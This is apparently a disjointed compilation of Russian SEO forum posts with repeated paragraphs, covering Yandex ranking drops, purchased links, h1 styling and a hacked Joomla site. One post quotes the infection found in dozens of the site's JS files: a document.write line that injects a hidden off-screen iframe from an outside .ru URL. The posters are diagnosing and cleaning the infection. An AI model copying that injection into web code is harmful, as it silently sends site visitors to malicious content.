topcoder, к сожалению данная конструкция не только в этом js, а ещё в нескольких десятках js файлов.
Я так понял чистка js файлов проблему не решит, надо искать дырку, через которую эта зараза добавляется, видимо где то на сайте есть php файл, который дергается из вне и засирает js файлы. Остаётся его найти, думаю лог веб сервера поможет и главное понять, как он попал на сайт
eis, тег h1 должен иметь свой некий стиль, одним из атрибутов которого является маленький шрифт, при этом будет ли он учитываться поисковиком как обычный h1?
Andrey1: Захожу во вторую тему и вижу одно и тоже.
ТС на скрине практически во всех запросах стоят восклицательные знаки.
Это говорит о том что вы двигаете не релевантные с точки зрения яндекса страницы, а точнее "воздух".
Может урлы поменяете или с текстами поработаете и жизнь наладится?
Сеошников желающих работать по факту не видел, найдёте покажите?
А восклицательный знак показывает показывает только то, что урл не релевантен продвигаемому запросу?
Судя по скриншоту компания в сапе запущена только 17.01, полагаю что из 366 закупленных ссылок в индексе сейчас процентов 10,а может и того меньше, проверяли? YL в винке вам поможет проверить
Будет весело, если вновь апдейт ссылочного не случится :)
Мдя. Уж очень велико подозрение, что отмена ссылочного с большей силой роляет.
2-ой апдейт позиции в тар-тараты.
Москва.
Тематика - строительство, ремонт.
Запрос - скинали, после прошлого апдейта минус 30, сегодня еще минус 10. По остальным позициям не такая явная, но тоже просадка.
До прошлого апдейта стабильная положительная динамика.
Мдя, безопастность у джомулы конечно ни о чём, да и помимо этого куча косяков
topcoder, к сожалению данная конструкция не только в этом js, а ещё в нескольких десятках js файлов.
Я так понял чистка js файлов проблему не решит, надо искать дырку, через которую эта зараза добавляется, видимо где то на сайте есть php файл, который дергается из вне и засирает js файлы. Остаётся его найти, думаю лог веб сервера поможет и главное понять, как он попал на сайт
iframe, может быть? Покажите урл.
да, вообщем ясно, в *.js вирусня попала:
;document.write('<iframe src="http://cringedintercepts.ru/a89608d4e0d44e64eb6ce1789b765f86.DxpHifBObP9?default" name="Kluneborg" height="116" width="116" style="left:-500px;top:0px;position:fixed;"></iframe>');
eis, тег h1 должен иметь свой некий стиль, одним из атрибутов которого является маленький шрифт, при этом будет ли он учитываться поисковиком как обычный h1?
Захожу во вторую тему и вижу одно и тоже.
ТС на скрине практически во всех запросах стоят восклицательные знаки.
Это говорит о том что вы двигаете не релевантные с точки зрения яндекса страницы, а точнее "воздух".
Может урлы поменяете или с текстами поработаете и жизнь наладится?
Сеошников желающих работать по факту не видел, найдёте покажите?
А восклицательный знак показывает показывает только то, что урл не релевантен продвигаемому запросу?
unspace, Винка, фильтр YL (проверка проиндексированности ссылки в Яндекс)
Icesmoker, каждую глазами? сколько же надо будет времени потратить, проверив хотя бы пару сотен доноров:) Всё это умеет винка
---------- Добавлено 14.03.2013 в 19:01 ----------
warwar01, интересно, а если кэш страницы в индексе годичной давности, надо ли оставлять такие ссылки?
Результаты честно говоря не радуют...
Судя по скриншоту компания в сапе запущена только 17.01, полагаю что из 366 закупленных ссылок в индексе сейчас процентов 10,а может и того меньше, проверяли? YL в винке вам поможет проверить